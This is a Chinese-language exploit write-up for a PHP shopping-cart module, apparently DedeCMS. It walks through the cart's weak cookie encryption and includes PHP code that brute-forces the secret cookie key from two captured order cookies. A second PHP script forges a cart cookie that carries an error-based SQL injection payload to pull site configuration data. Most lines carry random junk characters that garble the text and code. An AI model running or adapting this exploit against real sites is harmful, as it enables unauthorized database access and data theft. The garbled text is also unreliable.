www.xxx.com/plus/search.php?keyword= F5 y6 ]1 H3 N. ?4 t) }3 G
在 include/shopcar.class.php中
0 l- G& k6 i% A0 ?, |) @先看一下这个shopcar类是如何生成cookie的
3 \2 G% c) `9 W$ n% R6 n239 function saveCookie($key,$value)
5 w) ?2 k3 k' w( @. F" J! z- I* \9 W# s240 {
( A. z, L# b6 ~+ k7 G( \4 m241 if(is_array($value))8 _) U# b1 |+ \
242 {: y6 d$ ]; P$ d6 m' [
243 $value = $this->enCrypt($this->enCode($value));4 I$ `. W' }" P) n) R
244 }' Q. S/ J% p% S: ]6 w
245 else. R- p" K' [. |, {
246 {
( @# V: q1 s# |2 s: p- O+ M247 $value = $this->enCrypt($value);- E8 @# y4 I, A, O N+ I
248 }
1 D% r& [9 R0 g5 h249 setcookie($key,$value,time()+36000,’/');
( x$ `. E5 L/ J7 u4 [( w2 P250 }4 `, i' @" M% B6 @* Q
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数# g+ `* l; O& B" N
186 function enCrypt($txt)
7 @; }' W3 s0 ]& } {8 ^187 {1 g8 h4 G: t0 ~# E9 O
188 srand((double)microtime() * 1000000);1 C) l& o$ O2 ^- G! L
189 $encrypt_key = md5(rand(0, 32000));
: z5 t$ I; O f190 $ctr = 0;
n5 _0 N' g; ?1 T9 w" c191 $tmp = ”;# O# n9 D/ a- C! i6 u% b; b
192 for($i = 0; $i < strlen($txt); $i++)
: t6 r4 H& d5 F0 r193 {
* a' `7 K; M2 D6 x9 j- P$ \3 x194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;% q) ]4 d2 V: \
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
3 r/ L7 ^! s4 K" ~196 }) T, G- D3 m" }# h# x9 O
197 return base64_encode($this->setKey($tmp));
- u! j' i3 t; ~( d198 }8 o9 k. `3 ^# c$ n# B/ R
213 function setKey($txt)
5 j( B5 M5 c# |8 O% l214 {& Q; @$ E& n' t1 w) G: s1 _* @
215 global $cfg_cookie_encode;
2 R1 e8 F8 a7 J7 h/ H$ o( D8 h216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
# m& |) r& D+ X: G+ W/ w217 $ctr = 0;
) b) M2 K9 A; O: a& b% j% n218 $tmp = ”;
* J+ k* R1 b% {, I219 for($i = 0; $i < strlen($txt); $i++)
& {* R/ k) k% e; M220 {
6 g( E. R" g9 S0 o" N# P221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;. @/ T8 k4 q) ], ?) p3 S8 X1 I. y# F6 o
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];9 c- r! D$ l2 ?
223 }
0 R- y6 ?! c; E3 {5 I224 return $tmp;
' q/ Y& t6 \4 m" Y; g225 }
. ^6 m/ K: ~" \8 |# o) {enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
7 m+ N! y! a9 \4 \6 y然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。" q8 O+ H Q6 i) L: g7 c1 O9 t
具体代码如下:* t7 x" g: [# @( ]
<?php
% R) Q% @; p, n8 ]$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here8 i R4 L2 t$ b8 ?( ?% P
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
8 {$ l8 V% {/ M: x8 H& N9 F5 @$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here8 T% S$ J& f0 N% [+ s& A
function reStrCode($code,$string)* R3 V+ D" n7 f; G
{
! `! m" E4 W9 {" {6 W$code = base64_decode($code);
8 j ~, o9 b0 x$key = “”;
; z+ p S) f" d; `2 ?4 mfor($i=0 ; $i<32 ; $i++), v# [' Y/ }( o1 [, ^2 ^; Y
{
% b, Y) h& Q1 i# k3 d$key .= $string[$i] ^ $code[$i];; I! k/ ]6 u5 L, c- w9 `
}/ F: n: r" ?/ X9 e+ C
return $key;& B! @. \4 b/ n8 q
}7 U) J" c' W6 G9 ~$ V0 h
function getKeys($cookie,$plantxt)
, q7 R9 ~( \8 u$ e{
% w& w b [3 N6 N$tmp = $cookie;' L. d) p$ B6 ^9 w
$results = array();& u; ]- e% Q( T! C, `" g
for($j=0 ; $j < 32000; $j++)5 S P! V$ e2 w/ H5 l0 Y, L/ b
{1 p) ^! h- d( F" Z
# ~/ }2 L2 b' j7 F$ e4 w
$txt = $plantxt;1 z P. c: H% m$ X( F
$ctr = 0;' j! U7 _6 y& J0 N+ h* \) l) }+ V
$tmp = ”;. H+ v+ R( {' l
$encrypt_key = md5($j);
$ M3 ]: z) J: L' i# pfor($i =0; $i < strlen($txt); $i ++)$ `7 @0 ^3 {: X W
{
* D* U$ m5 A$ H0 |8 O+ C! i# [9 p3 W! ~/ L$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;$ T0 l# ]! ?0 p) h
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
# @3 x% Y* {; Z( Z- N/ H}0 w; T$ a& i V6 Z1 d/ @* [
$string = $tmp;
9 D' g4 y4 x( r" J4 h/ ]- o$code = $cookie;. l* w, \; q9 ~, i6 A
$result = reStrCode($code,$string);
- [ o! l& p: C3 E% @if(eregi(‘^[a-z0-9]+$’,$result))
" {! y5 b- g% @; a( Z! |{& f/ p8 e) n; N+ o
echo $result.”\n”;( Q0 [4 k& x: j3 [% V! L8 j
$results[] = $result; Y% @! |, I3 l2 {# C- a! W
}
3 U0 n* W# `( n; O r7 u. V}" q" N7 J9 _( I5 {$ E
return $results;
* p a! W0 }+ p}7 I' b! Z* U3 m0 B' j$ E8 z
$results1 = getKeys($cookie1,$plantxt);1 b$ k6 U6 ^* o/ ^6 {$ g
$results2 = getKeys($cookie2,$plantxt);
+ z4 V5 } U- L( c- l5 e" Y7 fprint “\n——————–real key————————–\n”;
0 ~! r1 d" i; @$ O$ tforeach($results1 as $test1)/ D9 J7 @. P) u" |. y
{) _" }" H; k+ D/ [5 i7 P
foreach($results2 as $test2)
" Q4 _5 v; ^0 t \$ y{
1 i8 z' B4 ^1 \3 f9 Hif($test1 == $test2)
" S0 `8 ?5 D1 N4 ^& t' x6 ~{
* b' }+ k. `4 C# f8 Xecho $test1.”\n”;
! Z; J3 a+ R% @# x}( D$ b" q& u9 U& u H
}
# R( T' v; Y) {/ `+ i}3 u1 `% n7 r4 p5 c1 @6 Z' D, ~
?>
1 c2 {' }1 d8 f( ^! `1 {. rcookie1 和 cookie2 是我下了两次订单后分别生成的cookie,, ]) D( H& T. r1 |
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
. y7 J- u | V然后推算出md5(strtolower($cfg_cookie_encode))- \: G* J3 O$ u @, X5 c6 c: M
得到这个key之后,我们就可以构造任意购物车的cookie/ w1 }( Q/ p* a3 i6 H
接着看
; |- ?3 F; K( O6 t5 T$ e0 a, v& n20 class MemberShops @6 |; P, [, Y! [6 y& |
21 { G0 o$ ?, r9 I8 |. i. K, b/ K5 Y1 E
22 var $OrdersId;
$ c e# T6 K) W1 y23 var $productsId;
& W6 d4 p4 z* u" y& f8 Z24
1 ^( E( ^5 n& Q9 v0 Q4 d8 H% V% _25 function __construct() K9 J8 A' h& i2 B3 d3 G$ K
26 {
& ?4 r! n8 O$ p8 a27 $this->OrdersId = $this->getCookie(“OrdersId”);
3 H! u( y* T+ a/ G" R28 if(empty($this->OrdersId))
, a& K) X2 g1 U5 n, q- N- i* H29 {- U1 G4 n7 X I' o2 G/ E
30 $this->OrdersId = $this->MakeOrders();
8 S U) z+ _' D31 }1 R6 F2 Z% u1 v4 B/ Q- |- B
32 }
/ x6 O$ K/ W2 V7 @6 E, x发现OrderId是从cookie里面获取的
& W3 @/ I: J4 N然后
' j5 }' p8 b7 A% h' _4 M/plus/carbuyaction.php中的
0 Y' Y' q: m9 h0 c4 p6 P! d/ r29 $cart = new MemberShops();
- v# B! v' O5 U7 n1 `# |, o39 $OrdersId = $cart->OrdersId; //本次记录的订单号2 m& T/ Z) L! c! m* I
……
; O$ [$ o" W1 P' u173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);/ D o5 t# G+ G; H+ P/ B; d
接着我们就可以注入了1 H' y& ^& L% {9 {4 w/ P$ L2 h
通过利用下面代码生成cookie:
' A4 U0 T# O; I d<?php8 R# U) b9 Y/ |+ g
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;! J3 T V) {3 {
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here+ j. t* I. v" `/ i' x* o& M
function setKey($txt)
6 a$ W# f% x. U: l7 i{: D5 t# L+ C5 ]/ o* r3 b
global $encrypt_key;
+ {* U: u) ?! e6 N; A& E7 K, I$ctr = 0;+ O& n- R9 h8 {1 i; J5 f% h5 ^& W# X4 \
$tmp = ”;
% ?" t7 h( s. O; kfor($i = 0; $i < strlen($txt); $i++)( ^3 b% n8 p S! y' k
{1 y: k8 s1 ~* g. a7 P! x, N
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;( ^- h) ~# \$ b0 z
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
7 i0 y! e% M8 H% f. A j) s}! z: B# d% s4 n3 q
return $tmp;
8 }1 x7 K/ F$ S5 Y/ f0 x& N}$ f5 H1 a2 q& Q! m3 X- g; U( A1 N
function enCrypt($txt)
& b2 ^1 F' u, |{) e' C, c5 R/ Q2 q5 k8 ~5 V
srand((double)microtime() * 1000000);
% @ ~) P2 |4 d* b- @$encrypt_key = md5(rand(0, 32000));" Y9 v, {1 C4 L2 l9 C; E9 \
$ctr = 0;0 c- { k+ W" G: @ d" A
$tmp = ”;
- l9 A2 N4 J; Rfor($i = 0; $i < strlen($txt); $i++)
) }. L6 n! u9 w o# r/ ^/ z; { c! B{/ `1 c9 U9 P0 ?+ x2 t
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; H$ n* e6 C* y& _% g. J {
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
; Y6 D" ]; X- V5 W}
3 l4 W U1 W F! i* p4 g- Z4 ?return base64_encode(setKey($tmp));; m. `4 s9 d P0 g1 L
}
4 Z6 J2 {5 V/ n2 q. hfor($dest =0;$dest = enCrypt($txt);)
" Z& f+ e6 i2 l }+ C9 P4 J{ F y0 v9 c, P) n( d m
if(!strpos($dest,’+'))
# w: X& G; m. t0 k8 }5 W' Z& m{ O! O* A' ^; F" K* K X. x
break;+ x) ^# k% B5 ?
}! |1 C d( J8 @/ g
}
7 s( {3 e3 P, f0 e" mecho $dest.”\n”;
2 x1 i7 P" b" _' I?>0 R$ P" O" c4 M$ C3 Q$ k
; x# L1 I3 @& e
|